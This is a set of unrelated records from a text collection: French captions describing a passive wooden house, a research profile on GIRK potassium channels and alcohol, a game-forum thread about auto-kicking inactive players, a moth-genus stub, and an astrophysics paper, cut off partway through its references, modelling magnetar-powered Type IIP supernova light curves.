Maison passive - Montage de l'ossature Maison passive - Montage de l'ossature - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr La maison, à ossature bois, est située sur un terrain où la nappe phréatique affleure du sol par endroits. Il a donc fallu créer un vide sanitaire avant de poser le reste de la construction. Maison passive - Montage de l'ossature
Maison passive - Pare-pluie Maison passive - Pare-pluie - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr L'architecte a choisi des matériaux écologiques, comme ici le pare-pluie en fibre de bois. Maison passive - Pare-pluie
Maison passive - Isolation Maison passive - Isolation - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr L'isolation a été réalisée en ouate de cellulose. Maison passive - Isolation
Maison passive - Puits de lumière Maison passive - Puits de lumière - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr Pour faire entrer plus de lumière au cœur de la maison, dans les couloirs situés loin des fenêtres, l'architecte a imaginé plusieurs puits de lumière sur le toit. Maison passive - Puits de lumière
Maison passive - Vue d'ensemble Maison passive - Vue d'ensemble - Maison passive Neuville en Ferrain © Julien Lanoo Photographe www.ju-la.be L'ensemble de la maison ressemble à un cube de bois ! La partie proéminente (ici à gauche) correspond à l'emplacement de la chambre des parents. Maison passive - Vue d'ensemble
Maison passive - Terrasse Maison passive - Terrasse - Maison passive Neuville en Ferrain © Julien Lanoo Photographe www.ju-la.be La chambre des parents, la cuisine et le séjour donnent sur une terrasse en bois et sont lumineuses grâce à de grandes ouvertures. Maison passive - Terrasse
Maison passive - Côté chambres Maison passive - Côté chambres - Maison passive Neuville en Ferrain © Julien Lanoo Photographe www.ju-la.be Côté est, les chambres des enfants sont alignées. Les fenêtres s'ouvrent en oscillo-battant, afin de pouvoir aérer les pièces, mais sans perdre trop de chaleur. Maison passive - Côté chambres
Maison passive - Entrée principale Maison passive - Entrée principale - Maison passive Neuville en Ferrain © Julien Lanoo Photographe www.ju-la.be A côté des chambres, l'entrée principale. La porte de droit donne sur un petit atelier, et celle de gauche sur le cœur de la maison. Maison passive - Entrée principale
Maison passive - Hall d'entrée Maison passive - Hall d'entrée - Maison passive Neuville en Ferrain © Julien Lanoo Photographe www.ju-la.be Dès l'entrée, la lumière fuse ! A droite, le mur qui sépare la partie nuit de la partie jour. Maison passive - Hall d'entrée
Maison passive - Local technique Maison passive - Local technique - Maison passive Neuville en Ferrain © Julien Lanoo Photographe www.ju-la.be Le local technique fait tout de même 10 m², pour pouvoir accueillir tous les éléments de la maison, notamment la VMC double flux. Maison passive - Local technique
|
{
"pile_set_name": "OpenWebText2"
}
|
Paul A. Slesinger
Research
Nerve cells communicate by sending electrical impulses along their axons, long, hair-like extensions that reach out to neighboring nerve cells. These impulses involve the opening and closing of ion channels and allow ions – electrically charged atoms – or small molecules to enter or leave the cell. The flow of these ions creates an electrical current that produces tiny voltage changes across the membrane. In his quest to understand how brain cells communicate, Dr. Paul A. Slesinger, Associate professor in the Clayton Foundation Laboratories for Peptide Biology, focuses on one particular type of channel that allows potassium ions to cross the cell membrane.
Slesinger's research ranges from studies on the molecular details of how potassium ion channels open and close to a cellular level on the role potassium channels have in nerve cell signaling. Recent studies in the lab have also turned to investigating the role of potassium channels in drug addictions and mental disorders. Drugs can significantly alter the actions of nerve cell receptors and channels. Slesinger and his team are now looking at how to selectively manipulate the receptors and/or channels and at the cell signaling pathways that lead to addictions. They are also studying other parts of the brain, where these receptors and potassium channels may play a role in memory and other mental functions.
"Drugs of abuse can produce long-term changes in the electrical activity of neurons in the brain. Recently,
we have been researching a new role for Girk potassium channels—proteins that control the movement
of potassium ions in the brain—in drug addiction. Our studies may provide new insights into the cellular
mechanisms of drug addiction as well as some mental disorders, such as schizophrenia and attention
deficit hyperactivity disorder (ADHD)."
Alcohol's inebriating effects are familiar to everyone. But
despite its long history and the widespread use of ethanol–the
alcohol in intoxicating beverages–when it comes to alcohol's
impact on brain activity on a molecular level, it remains among
the least understood of psychoactive drugs. Although alcohols
had previously been shown to lead to the opening of GIRK
(short for G-protein-activated inwardly rectifying potassium)
channels, it was not known whether this was a direct effect or
byproduct of other molecular changes in the cell.
When Slesinger and collaborators determined the threedimensional
structure of GIRK channels at high resolution,
they discovered a molecular pocket that resembled confirmed
alcohol-binding sites found in two other proteins (alcohol
dehydrogenase, the enzyme that breaks down alcohol in the
body, and LUSH, a fruit fly protein that senses alcohol in the
environment). This finding allowed them to address the puzzle
of how alcohol activates GIRK channels.
When they systematically introduced amino acid substitutions
that denied alcohol molecules access to the potential interaction
site, alcohol could no longer efficiently activate the
channel, confirming that they had hit upon an important regulatory
site for alcohol. The team further established that this
pocket is a trigger point for channel activation since G protein
activation was also altered. They believe that alcohol hijacks
the intrinsic activation mechanism of GIRK channels and
stabilizes the opening of the channel, perhaps by "lubricating"
the channel's activation "gears."
A better understanding of how GIRK channels are activated
could point to new strategies for treating human diseases.
Using the protein structure as a starting point, for example, it
may be possible to develop a drug that antagonizes the actions
of alcohol to treat alcohol dependence. Alternatively, if a novel
drug is identified that fits the alcohol-binding site and activates
GIRK channels, this could dampen overall neuronal excitability
in the brain and perhaps provide a novel pharmacological tool
for treating epilepsy.
|
{
"pile_set_name": "Pile-CC"
}
|
Alright, I made auto-kick come after 3 turns after giving this a chance I will be open to looking at 2 turns if need be.
I really don't want to make it a game option. I want to keep Conquer Club easy to use. Sure, power users will want tons of options to tweak things to their liking but the average person IMHO appreciates simple design. take the Apple iPods and the Shuffle for example. Very few buttons.
itunes has lots of options though - just a simple and clever interface.
If you want simple, why don't you have a "Quickstart" game button with typical options (Classic map, freestyle- no double turns, 6 players, escalating) for casual players, and advanced options for powerusers (who are more likley to subscribe if you start charging anyhow).
Also, why not get rid of the "double turn yes" option, it's less useful than a "kick first turn deadbeats" option anyhow.
I think that the double turn option helps to speed up the game a huge amount, and its one my fav' in this site, but i do agree that options like that will be a great way to sell the site for a future time a long long long time from now, well thats when i could aford to pay for it anyways lololol JoetalkOUT
|
{
"pile_set_name": "Pile-CC"
}
|
Heptapotamia
Heptapotamia is a genus of moths of the family Noctuidae.
References
Natural History Museum Lepidoptera genus database
Category:Hadeninae
|
{
"pile_set_name": "Wikipedia (en)"
}
|
---
abstract: 'We investigate the properties of Type IIP supernovae that are dominantly powered by the rotational kinetic energy of the newly born neutron star. While the spin-down of a magnetar has previously been proposed as a viable energy source in the context of super-luminous supernovae, we show that a similar mechanism could produce both normal and peculiar Type IIP supernova light curves from red supergiant progenitors for a range of initial spin periods and equivalent dipole magnetic field strengths. Although the formation channel for such magnetars in a typical red supergiant progenitor is unknown, it is tantalizing that this proof of concept model is capable of producing ordinary Type IIP lightcurve properties, perhaps implying that rotation rate and magnetic field strength may play important roles in some ordinary looking Type IIP supernova explosions.'
author:
- |
Tuguldur Sukhbold & Todd A. Thompson\
Department of Astronomy and Center for Cosmology & Astro-Particle Physics, The Ohio State University, Columbus, Ohio 43210
title: Magnetar Powered Ordinary Type IIP Supernovae
---
\[firstpage\]
magnetars, supernovae
Introduction
============
[[\[sec:intro\]]{}]{}
The most common massive star supernovae in the universe, by number, are the explosions of red-supergiant (RSG) progenitors with initial masses of $\sim$ 9-18 [$\mathrm{M}_\odot$]{} [@Sma15], and with kinetic energies on the order of $\sim10^{51}$ ergs [@Pej15]. These explosions create light curves of Type IIP, which gradualy releases the shock deposited energy to produce roughly a constant luminosity for about 3 months [e.g., @Fil97; @Arc12]. The most intensely studied mechanism for these explosions is the delayed-neutrino driven mechanism [@Col66; @Arn66; @Bet85]. While the neutrino mechanism is rather successful for the low energy explosions of lighter progenitors, there is no consensus yet in the supernova community on more massive progenitors that would provide the observed energies of typical supernovae [@Jan16 and references therein]. Inspired by @Bod74 and the application of neutron star models to luminous supernovae by @Woo10 and @Kas10, in this work we explore the scenario where the rotational energy source plays a dominant role throughout the explosion of a RSG progenitor.
Soon after the discovery of pulsars, it was suggested that an embedded pulsar might power the light curves and explosions of ordinary supernovae [@Ost71]. More recently, the idea has gained new traction as a possible explanation for gamma-ray bursts [e.g., @Uso92; @Tho04; @Uze06; @Buc09; @Met11] and other unusal supernovae [@Aki03; @Mae07]. The pulsars required for these transients have atypical properties in that their field strengths and rotation periods are extreme. Today, such models are thus commonly referred to as “magnetar” models rather than “pulsar” models.
Following [@Mae07], @Woo10 and @Kas10 independently promoted the idea that magnetars might underlie the production of a broad class of hydrogen poor super-luminous supernovae (SLSN-I), which are brighter than 10$^{43}$ ergs s$^{-1}$ for a time longer than typical Type Ia supernovae (a couple of weeks); see @Qui11 [@Gal12] and @Nic15 for recent reviews of SLSN-I. Since 2010, many studies have interpreted the light curves of SLSN-I as the product of magnetar spin down [e.g., @Ben14; @Nic13; @Met15; @Don16].
Consider a scenario where a weak explosion is initiated in a RSG progenitor, and soon afterwards a magnetar, which formed from the collapse of a spinning progenitor core, starts to deposit energy. The exact nature of the formation is not well understood, an issue we revisit in [[§ [[\[sec:conclude\]]{}]{}]{}]{}. In general, such a scenario would be representative of a case where the original neutrino wind becomes increasingly magnetically dominated as the proto-neutron star cools [@Tho04; @Met07; @Met11], eventually transitioning to a highly relativistic “pulsar”-type wind, depositing the pulsar rotational kinetic energy on the spin-down timescale.
Since the brightness and duration of the light curve plateau phase scales with the promptly deposited explosion energy as $\rm\propto E^{5/6}$ and $\rm\propto E^{-1/6}$ respectively [@Pop93], the weak explosion alone, without any magnetar input, will create a long and dim transient compared to a typical Type IIP case. For the magnetar to transform this weak explosion into a typical one, it will need to inject a significant amount of energy in a short timescale, so that the plateau phase is brighter and transitions to the nebular phase sooner.
Approximating the initial rotational kinetic energy of the magnetar as $\rm E_m\approx2\times10^{52}P^{-2}_{ms,i}$ ergs, where $\rm P_{ms,i}$ is the initial spin period in milliseconds, we can see that if it is to yield a final kinetic energy of an ordinary Type IIP explosion roughly between 0.5$-$2$\times10^
{51}$ ergs, the initial spin needs to be approximately between 3 and 6 ms. At late times (after the plateau phase) the tail of the light curve must be dominantly powered by the radioactivity, $\rm L_m(t_{late}) < L_{Co}(t_{late})$, where $\rm L_m$ is the spin down luminosity and $\rm L_{Co}$ is the luminosity from the decay of $^{56}$Co, resulting from a typical Type IIP yield of $^{56}$Ni. For vacuum dipole spin-down the magnetar luminosity is $\rm L_m\approx10^{49}B_{15}^2P_{ms}^{-4}\ ergs\ s^{-1}$, where $\rm B_{15}$ is the magnetic field strength in $10^{15}$ G and an angle of $\pi/6$ was assumed between the rotational and magnetic axes. Taking $\rm t_{late}$ as 150 days and adopting a typical $^{56}$Ni mass of 0.1 [$\mathrm{M}_\odot$]{}, we see that the spin down timescale, $\rm t_m = E_m/L_m$, needs to be shorter than roughly a day for $3\rm<P_{i}<6$ ms, or the constant dipole magnetic field needs to be larger than roughly $10^{15}$ G. At the other end, invoking more extreme conditions with $\rm P_{i}\sim 1$ ms and field strengths of $>10^{16}$ G may end up producing a typical IIP-like light curves in some situations, but will ultimately yield much higher energies and also may overproduce $^{56}$Ni.
These basic considerations, though based on an idealized situation where the magnetar keeps indefinitely injecting energy, that is efficiently thermalized, based on vacuum dipole emission (braking index of $\rm n=3$) and a constant magnetic field strength, demonstrate that the rotational rates and magnetic field strengths of such IIP-powering magnetars must be larger than what is commonly inferred from pulsars. In this work, through a set of numerical experiments we explore the question of over what parameter space the classical magnetar spin down scenario can transform a weak explosion model of a RSG into one where the light curve characteristics, $^{56}$Ni yields, and final kinetic energies are close to those of typical IIP supernovae.
Numerical Calculations with [`KEPLER`]{}
========================================
[[\[sec:numeric\]]{}]{}
We calculate a set of magnetar powered RSG explosion models using the 1D implicit hydrodynamic code [`KEPLER`]{} [@Wea78]. All calculations start with a RSG progenitor model from @Suk14 with an initial mass of 15 [$\mathrm{M}_\odot$]{}. At the time of core collapse this model had a radius of 841 [$\mathrm{R}_\odot$]{} and a total mass of 12.6 [$\mathrm{M}_\odot$]{}, of which the outermost 8.3 [$\mathrm{M}_\odot$]{} was in the H-rich envelope. We first launch a weak explosion by using the moving inner boundary method, i.e. “piston-scheme” [@Woo95; @Suk16a], so that the final kinetic energy of the ejecta is only about $\sim 5 \times
10^{49}$ ergs. This explosion synthesized roughly 0.16 [$\mathrm{M}_\odot$]{} of $^{56}$Ni, but due to late time fallback only about $\sim
0.015$ [$\mathrm{M}_\odot$]{} is ejected. The synthesized $^{56}$Ni mass is on the large side because for this demonstration model the piston was deliberately placed at the edge of the iron core (1.43 [$\mathrm{M}_\odot$]{}), which is significantly deeper than the mass cut that could represent a fully neutrino-driven explosion ($\sim$1.6 [$\mathrm{M}_\odot$]{} for the same model in @Suk16a). This choice primarily stems from our expectation that magnetar input, with our current description, would not significantly contribute to the $^{56}$Ni synthesis, which we discuss further in [[§ [[\[sec:conclude\]]{}]{}]{}]{}. As in @Woo10, we do not specify the physical nature of the explosion initiation.
![The light curve from the low energy $5\times10^{49}$ ergs explosion (dashed black), without any further energy input, is shown in comparison with an approximate luminosity band of typical Type IIP supernovae. With much lower energy, the resulting light curve is much dimmer and has a long lasting plateau phase. [[\[fig:lowE\]]{}]{}](lowE.pdf){width=".48\textwidth"}
As expected, this low energy explosion, without any additional energy input produces a long lasting dim transient ([[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{}). Taking the scaling relations based on the survey of model Type IIP light curves from @Suk16a [Eqs. 15 and 17], one gets a plateau luminosity of $\rm L_{p} = 2.3 \times10^{41}\ ergs\
s^{-1}$ and a duration of the plateau, including the effects of radioactivity, is $\rm \tau_p = 176$ days. These values are in a good agreement with the low energy explosion model shown in [[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{} as a dashed black curve. The plot also shows a rough luminosity range that represents the typical IIP light curves (light gray band): $\rm 10^{42}<L_p<10^{43}\ ergs\ s^{-1}$, $\rm
90<\tau_p<130$ days and the tail representing $^{56}$Co decay luminosity for $\rm 0.05<M_{Ni}<0.2$ [$\mathrm{M}_\odot$]{} [@Pej15]. Note that the “normal” light curve band corresponds to a much brighter and briefer plateaus than in the low energy explosion reference model (dashed curve in [[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{}).
-------------------------------------------------- --------------------------------------------------
{width=".48\textwidth"} {width=".48\textwidth"}
{width=".48\textwidth"} {width=".48\textwidth"}
-------------------------------------------------- --------------------------------------------------
The piston that drives the low energy explosion first moves inward from its initial location at the edge of the iron core to a minimum radius of $10^7$ cm in 0.25 seconds. Once it starts to move outwards, we begin to deposit energy to the inner part of the ejecta as heat according to the vacuum dipole spin-down formulation, $\rm L_m(t)=E_m t_m^{-1} (1+t/t_m)^{-2}\ ergs\
s^{-1}$. The evolution of the ejecta is followed for $\sim350$ days including the energy from radioactivity, and the light curves are approximately calculated with flux-limited diffusion. The magnetar parameters were varied from B=$10^{14-16}$ G for the constant dipole magnetic field strength at the equator, and between 1 and 10 ms for the initial rotational period. These spins correspond to a range of initial rotational kinetic energies between $0.2-20\times10^{51}$ ergs, and spin-down timescales between 20 seconds and 230 days.
Once the explosion is initiated, we expect a neutrino-driven wind to emerge from the cooling proto-neutron star [@Dun86; @Jan96; @Bur95]. For a given magnetic field strength and spin period, the flow will become increasingly relativistic over the Kelvin-Helmholz cooling timescale as the Alfvén point in the flow approaches the light cylinder [@Tho04; @Met07; @Met11]. The energy injection rate at these very early times is higher than implied by the vacuum dipole expression for the same $\rm B$ and $\rm P$, and may be complicated as the neutron star contracts and its convection changes character throughout the cooling epoch [@Pon99; @Rob12]. However, because the long-term spindown behavior more directly affects the eventual lightcurve shape and dynamics than the detailed evolution at these very early times, we simply assume the vacuum dipole energy injection formula. For these purposes $\rm B$ and $\rm P$ should be interpreted as defining the rotation energy reservoir and the reference energy loss rate.
The effect of late time magnetar powered light curves have been extensively studied in the context of SLSN-I emerging from stripped cores [e.g., @Ins13]. In general, with shorter spin down timescale, most of the magnetar energy input is lost to adiabatic expansion, while with longer timescale more energy is channeled into radiation and produces luminous light curves. The same generic behavior is also seen in our calculations, however, with the extended envelope of the RSG progenitor the light curves present a diverse structure, and with a larger ejecta mass the magnetar powered Type II light curves are generally less luminous than Type I cases.
[[Figure [[\[fig:tdepinf\]]{}]{}]{}]{} shows the resulting light curve plateau properties from magnetar powered explosions when the energy was injected until the end of calculation ($\sim$350 days). The plateau duration, $\rm \tau_p$, was conservatively measured as the time span from the beginninng of explosion until when the photospheric radius dips below $10^{14}$ cm, while the plateau luminosity was measured in the middle of the plateau as $\rm L_p=L(\tau_p/2)$. These conditions apply well to all calculations, except those with the weakest field stregths and slowest initial spins. In those models, the spin-down timescale is comparable to the calculation time and in a few cases the photospheric radius does not reach its maximum within 300 days, resulting in very long $\rm \tau_p$.
For a given initial spin, the most luminous light curves emerge from models with weakest field strengths since the spin-down timescale is longest. For a given field strength, the spin-down timescale decreases with faster initial spin, but due to the increasing energy budget, much more energy is channeled into radiation compared to a slower spin model. The most luminous model with $10^{14}$ G and initial spin of $\rm P_{ms}$=1 exceeds a peak luminosity of a few times $\rm 10^{44}\ ergs\
s^{-1}$. In models with stronger fields the plateau luminosity never exceeds of $\rm 10^{43}\ ergs\ s^{-1}$, except the few with the fastest initial spins. From the other side, the least luminous models come from strongest fields and lowest energy budgets. In all of these calculations, the deposited energy is much larger than the initial weak explosion energy of $5\times10^{49}$ ergs, and thus all the models are significantly more luminous than the reference light curve shown in [[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{}.
The behaviour of the plateau duration is slightly more complicated. With more energy deposited promptly (i.e. shorter spin-down timescale), the ejecta will be strongly ionized and will expand faster, resulting in brighter and briefer plateaus. While with more gradual deposition, the magnetar energy extends the plateau phase by supporting ionization, in much the same way as done in through radioactive decay energy [see @Kas09]. This is why the plateau duration increases with slower initial spin, for a given field strength. However, note that for a given initial spin the plateau duration first shortens with increasing field strength, and then starts to lengthen again for $\rm B>10^{15}$ G. For smaller field strengths, the spin-down luminosity is always greater than or comparable to the luminosity from radioactive decay, while at higher field strengths it is always much weaker than the decay luminosity at late times.
Consistent with the results found in @Suw15, none of our models produced extra $^{56}$Ni in addition to the initial explosion. However, in all of the models the fallback that occurs in the original reference model does not occur and thus they all receive power from the decay of 0.16 [$\mathrm{M}_\odot$]{} $^{56}$Ni. This has little relevance for the plateau phase of the lightcurve when the magnetar is slowly depositing energy, but it can significantly extend the plateau phase when nearly all of magnetar energy is deposited promptly. If the energy contribution from radioactivity is removed, the plateau duration monotonically decreases with increasing field strength as expected.
The regions bounded by a dashed line in [[[[Fig. [[\[fig:tdepinf\]]{}]{}]{}]{}]{}]{} highlight the models that have similar plateau durations and luminosities to typical Type IIP supernovae. Note the plateau luminosities are between $10^{42}$ and $\rm 10^{43}\ ergs\ s^{-1}$ for most models with $\rm P_{i}>3$ ms, and so this region is primarily bounded by the plateau durations, except when the spin-down timescale is long with weaker field strengths and slower initial spins. As expected ([[§ [[\[sec:intro\]]{}]{}]{}]{}), this region covers mostly models that were powered by magnetars with $\rm P_i$ roughly between 3 and 6 ms, and $\rm B$ stronger than $10^{15}$ G. For stronger field strengths there is a slight preference for a slower initial spin, since the radioactive extension of the plateau becomes less relevant with increasing rotational energy of the magnetar.
![Magnetar powered light curves (colored curves) from the highlighted region in [[[[Fig. [[\[fig:tdepinf\]]{}]{}]{}]{}]{}]{}, where the models have plateau luminosities and durations that lie within the range of observed ordinary Type IIP supernovae (gray band from [[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{}). The light curves from magnetars with log(B)=15 G are shown in blue, log(B)=15.5 G shown in red, and with log(B)=16 G are shown in orange. For a given field strength (curves from a given color), with increasing initial rotational energy (smaller $\rm P_i$) the light curve plateau phase is brighter and shorter. For a given initial spin, with longer the spin-down timescale (smaller B) the plateau phase brightens in time due to persistent magnetar luminosity at late times, while with shorter spin-down timescale the plateau is roughly constant or dimming with time. Observed Type IIP light curves with rising plateaus are often associated with blue supergiant progenitors, but here we show that late time magnetar energy deposition can result in such light curves from a normal RSG progenitor. [[\[fig:lcs\]]{}]{}](lcs.pdf){width=".48\textwidth"}
[[Figure [[\[fig:lcs\]]{}]{}]{}]{} shows light curves (colored curves) from the models that lie in the region bounded by dashed lines in [[[[Fig. [[\[fig:tdepinf\]]{}]{}]{}]{}]{}]{}. As in [[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{}, it also shows the reference weak explosion model without any magnetar input (dashed curve), and the approximate luminosity band (gray band) for “typical” Type IIP light curves. Note that while some light curves have a fairly constant luminosity during the plateau phase (red), others are sharply increasing (blue) or decreasing (orange) until before they transition to nebular phase. The increasing luminosity during the plateau phase results when the magnetar deposition dominates for a time comparable or longer than the effective diffusion timescale of the ejecta, so that without much prompt energy deposition it is dimmer in the first few weeks and it gradually brightens due to the magnetar luminosity at later times. Also note that the tail is slightly brighter than models with shorter spin-down due to magnetar input, even though all of the models receive the same amount of radioactive energy. In general, this effect is even more prominent for weaker field strengths than $10^{15}$ G, where the plateau keeps rising for hundreds of days and several orders of magnitude in luminosity, but the resulting light curves are well beyond what we consider as typical of Type IIP. With shorter spin-down times, the magnetar efficiently deposits energy promptly and therefore the early light curve appears brighter, but it stays roughly constant or keeps dimming afterwards as the ejecta expands much faster without experiencing much magnetar energy input at later times.
These model light curves are consistent with the diversity seen in the observations [e.g., @Arc12]. The most notable are those with increasing plateau luminosity, which are often classified as peculiar and associated with a blue supergiant progenitor [e.g., @Tad16] due to their similarity with SN1987A. With the explosion of a compact progenitor, the light curve is initially less luminous due to the energy lost in adiabatic expansion. However, our calculations demonstrate that such light curves can emerge from RSG progenitors when their explosions are powered by magnetars. In this case, however, the progenitor is already extended to begin with, and the light curve starts from a lower luminosity because of weaker recombination of the envelope and gradually brightens when the magnetar keeps depositing significant amount of energy at late times.
Discussion
==========
[[\[sec:conclude\]]{}]{}
We have explored the light curves emerging from an explosion of a RSG progenitor that was initiated by a weak piston and followed by energy deposition from a magnetar. Through a set of spherically symmetric hydrodynamical calculations with approximate radiation transport, we have shown that for a narrow range of magnetar parameters, the resulting light curves resemble what we observe in ordinary Type IIP supernova explosions. For the progenitor explored, when the initial spin of the magnetar is between 3 and 5 ms, and its dipole magnetic field is strength greater than $10^{15}$ G, the energy deposition through vacuum dipole spin-down transforms the long-lasting dim transient, produced by the weak piston-driven explosion alone, into transients with plateau luminosities of $\rm 10^{42-43}\ ergs\ s^{-1}$ and durations of 90-130 days. The final kinetic energies of the ejecta are in the expected range ($\sim0.8-2\times10^{51}$ ergs) and since the magnetar deposition does not produce any extra $^{56}$Ni, the magnetar energy input with a short spin-down time results in radioactively powered light curve tails seen in ordinary Type IIP supernovae, as long as enough is synthesized through the initial weak explosion
The above-mentioned preferred range for the magnetar spin period and magnetic field strength correspond in part to the some of the employed assumptions. For example, if the initial prompt energy assumed is higher, then lower initial spin rates would yield typical Type IIP energies at late times. When we repeat the calculation using a RSG progenitor with an initial mass of 12 [$\mathrm{M}_\odot$]{}, and with a prompt explosion energy of $8\times10^{49}$ ergs, the corresponding range of $\rm P_i$ that produces typical Type IIP light curves shifts to $\sim4-7$ ms, because the prompt non-magnetar component of the energy budget for the explosion is larger than in the 15 [$\mathrm{M}_\odot$]{} progenitor shown in [[[[Fig. [[\[fig:lowE\]]{}]{}]{}]{}]{}]{}. But as long as this prompt explosion energy is much smaller than the rotational kinetic energy of the magnetar, the same generic results will hold - initial period of a few ms ($\rm P_i\sim (20/(1-E_{prompt}/10^{51}))^{1/2}$ ms) and a strong field strength of $\rm B>10^{15}$ G for a relatively fast initial spin-down time. The dependence on the progenitor structure is rather small since for solar metallicity the ejecta masses and the envelope masses are fairly similar for progenitors with initial masses between $10-25$ [$\mathrm{M}_\odot$]{}[e.g., @Suk14], which are responsible for majority of Type IIP supernovae [@Sma15],
Another possibility is that many of the neutron stars born in Type IIP supernovae start with high, but short-lived, magnetic fields generated by a dynamo mechanism as the neutron star cools and convects (e.g., @Dun92). To probe this scenario, we have re-calculated all of the models but depositing energy only during the initial 50 seconds ([[[[Fig. [[\[fig:tdep50\]]{}]{}]{}]{}]{}]{}). The amount of energy deposited during the initial time t is approximately $\rm \Delta E=E_{m,i}t(t+t_m)^{-1}$. When the spin-down timescale is much larger the deposition time it approaches $\rm L_mt$. Therefore for $\rm B < 10^{15}$ G and $\rm P_i > 4$ ms the energy deposition for only 50 seconds does not result in any noticable effect on the light curve. Accordingly the range of B and $\rm P_i$ that results in ordinary Type IIP plateau characteristics shifts to $\sim1$ ms and $\sim10^{16}$ G range. In general, the magnetar spin-down luminosity during the initial 50 seconds is highly uncertain, since the neutron star is convective and its wind rapidly evolves [@Tho04; @Met11]. Therefore the magnetic field strengths in [[[[Fig. [[\[fig:tdep50\]]{}]{}]{}]{}]{}]{} should be thought of as a proxy for the time-averaged magnetar luminosity during the initial 50 seconds. Future models should explore how pulsar driven shells might synthesize of $^{56}$Ni and power the shockwave, as it moves though dense inner core of the ejecta.
![Same as [[[[Fig. [[\[fig:tdepinf\]]{}]{}]{}]{}]{}]{}, but here the magnetar deposits energy only during the initial 50 seconds. The range of magnetar parameters that transforms the weak explosion into a typical Type IIP light curve is now $\rm log(B)>10^{15}$ G and $\rm P_i <3$ ms. [[\[fig:tdep50\]]{}]{}](grid_Lp_50.pdf "fig:"){width=".48\textwidth"} ![Same as [[[[Fig. [[\[fig:tdepinf\]]{}]{}]{}]{}]{}]{}, but here the magnetar deposits energy only during the initial 50 seconds. The range of magnetar parameters that transforms the weak explosion into a typical Type IIP light curve is now $\rm log(B)>10^{15}$ G and $\rm P_i <3$ ms. [[\[fig:tdep50\]]{}]{}](grid_tp_50.pdf "fig:"){width=".48\textwidth"}
Although the evidence is growing to connect the nature of the most energetic explosions (e.g., long duration gamma-ray bursts and SLSN-I) to a rotational energy source, imagining a magnetar being responsible for some ordinary Type IIP explosions is not too far fetched. So far we have detected only a few dozen magnetars in the Galaxy, and some of them are known to reside in Type II supernova remnants (based on their large ejecta mass) that seem to indicate a canonical explosion energy of $\sim10^{51}$ ergs [@Vin06]. One can also roughly approximate the vacuum spin-down periods for the 5 magnetars listed in the the McGill Online Magnetar Catalogue[^1] [@Ola14], that have a clear association with a supernova remnant. Using the measured surface dipole field strengths, assuming a breaking index of $\rm n=3$, and $\rm P_i=4$ ms, would bring the vacuum spin-down periods at the estimated ages (as $\rm P_i(1+t_{age}/t_m)^{1/2}$) to of order the measured periods. This of course ignores known factors of the evolving magnetic field strength, both potentially on short time scales due to cooling, convection, and dynamo effects, and on long time scales due to non-MHD dissiapation as in @Vig13 [@Gul15]. Nevertheless this is suggestive that magnetars might be somehow connected to some ordinary Type IIP supernovae.
Given the presupernova conditions for a typical solar metallicity RSG progenitor from stellar evolution calculations with dynamo processes, it is not straightforward to obtain proto-neutron star magnetic fields greater than $10^{15}$ G and initial spins of just few ms [@Heg05]. Magnetic torques during the evolution result in a slower spinning iron core, and without invoking magneto-rotational instabilities, or some other magnetic amplification processes, the flux compression alone is not sufficient for a strong enough field. However, we note that the general problem of understanding the effective angular momentum transport in stellar interiors is still very much an open question. Until the existing theories are tested against asteroseismological measurements, which are the only way of probing the internal rotation profiles of evolved stars. The existing seismological data, though only available for much lower mass stars at the moment, already challenge our current understanding of angular momentum transport in redgiants [e.g., @Deh15; @Tay13].
In some ways it is not surprising that magnetar models can fit nearly all kinds of explosion light curves, including some regular Type IIP, when a big fraction of the explosion energy reservoir is replaced with a simple model that allows us to conveniently control its budget (initial spin) and injection rate (constant dipole magnetic field strength). This of course could be a fine-tuning, or interesting evidence that the supernova mehcanism is connected to rotation and magnetic fields.
Acknowledgments {#acknowledgments .unnumbered}
===============
We thank Stan Woosley, Chris Kochanek, Laura Lopez, Katie Auchetl, Ondrej Pejcha and John Beacom for helpful discussions and comments. We also thank Alex Heger for his contributions in developing the `KEPLER` code. TS is partly supported by NSF (PHY-1404311) to John Beacom.
[99]{}
Akiyama, S., Wheeler, J. C., Meier, D. L., & Lichtenstadt, I. 2003, , 584, 954
Arcavi, I., Gal-Yam, A., Cenko, S. B., et al. 2012, , 756, L30
Arnett, W. D. 1966, Canadian Journal of Physics, 44, 2553
Benetti, S., Nicholl, M., Cappellaro, E., et al. 2014, , 441, 289
Bethe, H. A., & Wilson, J. R. 1985, , 295, 14
Bodenheimer, P., & Ostriker, J. P. 1974, , 191, 465
Bucciantini, N., Quataert, E., Metzger, B. D., et al. 2009, , 396, 2038
Burrows, A., Hayes, J., & Fryxell, B. A. 1995, , 450, 830
Colgate, S. A., & White, R. H. 1966, , 143, 626
Deheuvels, S., Ballot, J., Beck, P. G., et al. 2015, , 580, A96
Dong, S., Shappee, B. J., Prieto, J. L., et al. 2016, Science, 351, 257
Duncan, R. C., Shapiro, S. L., & Wasserman, I. 1986, , 309, 141
Duncan, R. C., & Thompson, C. 1992, , 392, L9
Filippenko, A. V. 1997, , 35, 309
Gal-Yam, A. 2012, Science, 337, 927
Gull[ó]{}n, M., Pons, J. A., Miralles, J. A., et al. 2015, , 454, 615
Heger, A., Woosley, S. E., & Spruit, H. C. 2005, , 626, 350
Inserra, C., Smartt, S. J., Jerkstrand, A., et al. 2013, , 770, 128
Janka, H.-T., & Mueller, E. 1996, , 306, 167
Janka, H.-T., Melson, T., & Summa, A. 2016, arXiv:1602.05576
Kasen, D., & Woosley, S. E. 2009, , 703, 2205
Kasen, D., & Bildsten, L. 2010, , 717, 245
Maeda, K., Tanaka, M., Nomoto, K., et al. 2007, , 666, 1069
Metzger, B. D., Thompson, T. A., & Quataert, E. 2007, , 659, 561
Metzger, B. D., Giannios, D., Thompson, T. A., Bucciantini, N., & Quataert, E. 2011, , 413, 2031
Metzger, B. D., Margalit, B., Kasen, D., & Quataert, E. 2015, , 454, 3311
Nicholl, M., Smartt, S. J., Jerkstrand, A., et al. 2013, , 502, 346
